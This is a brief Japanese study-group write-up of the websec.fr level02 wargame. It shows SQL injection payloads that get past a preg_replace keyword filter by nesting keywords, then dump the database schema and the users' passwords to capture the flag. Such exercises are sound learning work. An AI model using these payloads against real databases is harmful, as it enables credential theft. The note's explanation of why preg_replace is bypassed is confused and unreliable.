---
# System prepended metadata

title: 2020/07/07 upper layer progress

---

# 2020/07/07 upper layer progress
2020/7/7の勉強会資料

- websec(http://websec.fr/#) level02

## websec
### 進捗
level02が終了
### 今回の感想
学んだ項目は、
-  今回は上の関数でSQLinjectionの対策をしたlevel01の強化ver

-  preg_replace()関数の仕様
    preg_replace('置換したい文字列','置換後の文字列',置換対象の文字列)

-  preg_replace関数が指定した単語で、置換した後の文字列には影響しないために出来る攻撃。

     

### 解放
preg_replace()関数は、指定した文字列が連続しているときのみ置換する。
よって、下記のような書き方でlevel01の時と同じ解放が使える。

***1 AND 1 = 0 UUNIONNION SSELECTELECT 1,sql FFROMROM sqlite_master;--***

これでカラムにpasswordがあることが分かるので、下記のSQLを実行。フラッグを取得できた。

***1 AND 1 = 0 UUNIONNION SSELECTELECT id,password FFROMROM users;--***





